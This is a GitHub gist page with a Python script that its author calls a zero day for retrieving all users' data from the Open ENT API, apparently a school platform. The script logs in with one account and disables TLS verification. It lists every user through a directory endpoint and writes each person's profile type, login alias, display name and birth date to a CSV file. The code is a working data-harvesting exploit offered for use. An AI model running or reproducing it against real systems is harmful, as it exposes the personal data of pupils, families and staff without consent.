Skip to content

Instantly share code, notes, and snippets.

@thisiskeanyvy
Created January 20, 2022 16:14
Show Gist options
  • Save thisiskeanyvy/9d015a9350be45f388d6713cf18bc7a0 to your computer and use it in GitHub Desktop.
Save thisiskeanyvy/9d015a9350be45f388d6713cf18bc7a0 to your computer and use it in GitHub Desktop.
A zero day to retrieve all users' data from the Open ENT API.
import requests, json, csv
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# remove ssl certificate
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ent login
username="yourusername"
password="yourpassword"
open_ent="url"
def auth():
url = f'{open_ent}/auth/login'
login_data = {'email': username, 'password': password}
try:
connect = requests.Session()
connect.post(url, verify=False, data=login_data)
get_data = connect.get(url)
except:
print("Request cannot be send...")
if "Authentification" not in str(get_data.content):
"""
send a post request with curl to get the token.json file
POST {open_ent}/communication/visible
DATA {"search":"","types":["User"],"structures":[],"classes":[],"profiles":[],"functions":[],"mood":true}')
token.json
"""
file_token = open('token.json')
token = json.load(file_token)
cell_name = ['Type', 'loginAlias', 'Nom', 'Date de naissance']
final_data = []
with open('data.csv', 'w', encoding='UTF8', newline='') as f:
csv_file = csv.writer(f)
csv_file.writerow(cell_name)
for i in range(len(token["users"])):
#var token.json
tokens = token["users"][i]["id"]
name = token["users"][i]["displayName"]
#print(token["users"][i]["displayName"]+" - "+token["users"][i]["id"])
data = connect.get(f"{open_ent}/directory/user/{tokens}")
get_data = data.content
data_json = json.loads(get_data)
#var api Open ENT
try:
type = data_json["profiles"][0]
except:
type = "null"
try:
login = data_json["loginAlias"]
except:
login = "null"
try:
name = data_json["displayName"]
except:
name = "null"
try:
bday = data_json["birthDate"]
except:
bday = "null"
with open('data.csv', 'a+', encoding='UTF8', newline='') as f:
f.write(f'{str(type)},{str(login)},{str(name)},{str(bday)}\n')
elif "Authentification" in str(get_data.content):
print("Not Connected")
else:
print("Error please retry...")
if __name__ == "__main__":
auth()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment